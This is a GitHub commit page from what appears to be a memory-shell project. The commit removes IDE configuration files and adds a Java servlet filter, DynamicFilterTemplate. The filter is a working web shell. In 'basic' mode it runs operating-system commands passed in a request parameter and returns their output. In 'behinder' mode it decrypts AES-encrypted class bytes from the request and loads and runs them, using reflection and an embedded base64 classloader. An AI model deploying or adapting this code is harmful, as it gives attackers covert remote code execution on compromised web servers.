Skip to content

Commit 7b31463

Browse files
author
feihong
committed
临时提交
1 parent 5696584 commit 7b31463

27 files changed

+614
-762
lines changed

.idea/.gitignore

-2
This file was deleted.

.idea/artifacts/abc.xml

-14
This file was deleted.

.idea/compiler.xml

-16
This file was deleted.

.idea/encodings.xml

-6
This file was deleted.

.idea/libraries/Maven__javax_servlet_javax_servlet_api_3_0_1.xml

-13
This file was deleted.

.idea/libraries/Maven__junit_junit_4_11.xml

-13
This file was deleted.

.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml

-13
This file was deleted.

.idea/libraries/lib.xml

-10
This file was deleted.

.idea/memShell.iml

-29
This file was deleted.

.idea/misc.xml

-17
This file was deleted.

.idea/modules.xml

-8
This file was deleted.

.idea/uiDesigner.xml

-124
This file was deleted.

.idea/vcs.xml

-6
This file was deleted.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
package com.memshell.generic;
2+
3+
import sun.misc.BASE64Decoder;
4+
5+
import javax.crypto.Cipher;
6+
import javax.crypto.spec.SecretKeySpec;
7+
import javax.servlet.*;
8+
import javax.servlet.http.HttpServletRequest;
9+
import java.io.IOException;
10+
import java.lang.reflect.Method;
11+
import java.util.Scanner;
12+
import java.util.UUID;
13+
14+
public class DynamicFilterTemplate implements Filter {
15+
16+
private String password;
17+
18+
public DynamicFilterTemplate(String password){
19+
super();
20+
this.password = password;
21+
}
22+
23+
@Override
24+
public void init(FilterConfig filterConfig) throws ServletException {
25+
26+
}
27+
28+
@Override
29+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
30+
System.out.println("[+] Dynamic Filter says hello");
31+
32+
String type = servletRequest.getParameter("type");
33+
if(type != null && type.equals("basic")){
34+
String cmd = servletRequest.getParameter(password);
35+
if(cmd != null && !cmd.isEmpty()){
36+
String result = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
37+
servletResponse.getWriter().println(result);
38+
}
39+
}else if(type != null && type.equals("behinder")){
40+
try{
41+
if(servletRequest.getParameter(password) != null){
42+
String key = ("" + UUID.randomUUID()).replace("-","").substring(16);
43+
((HttpServletRequest)servletRequest).getSession().setAttribute("u", key);
44+
servletResponse.getWriter().print(key);
45+
return;
46+
}
47+
48+
ClassLoader classLoader = this.getClass().getClassLoader();
49+
Class clazz = classLoader.getClass();
50+
Method method = null;
51+
while(method == null && clazz != Object.class){
52+
try{
53+
method = classLoader.getClass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
54+
}catch(NoSuchMethodException e){
55+
clazz = clazz.getSuperclass();
56+
}
57+
}
58+
59+
String code = "yv66vgAAADQAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcjsBAAFjAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtkZWZpbmVDbGFzcwEALChbQkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAKU291cmNlRmlsZQEAEk15Q2xhc3NMb2FkZXIuamF2YQwABgAHAQAiY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcgwADwAaAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQACAAUAAAAAAAIAAAAGAAcAAQAIAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAJAAAABgABAAAABAAKAAAAFgACAAAABgALAAwAAAAAAAYADQAOAAEACQAPABAAAQAIAAAARAAEAAIAAAAQuwACWSu3AAMqAyq+tgAEsAAAAAIACQAAAAYAAQAAAAgACgAAABYAAgAAABAAEQASAAAAAAAQABMADgABAAEAFAAAAAIAFQ==";
60+
byte[] bytes = new BASE64Decoder().decodeBuffer(code);
61+
Class myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
62+
63+
64+
Cipher cipher = Cipher.getInstance("AES");
65+
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
66+
byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
67+
Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(evilClassBytes, classLoader);
68+
Object evilObject = evilClass.newInstance();
69+
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
70+
targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
71+
}catch(Exception e){
72+
e.printStackTrace();
73+
}
74+
}else{
75+
filterChain.doFilter(servletRequest, servletResponse);
76+
}
77+
}
78+
79+
@Override
80+
public void destroy() {
81+
82+
}
83+
}

0 commit comments

Comments
 (0)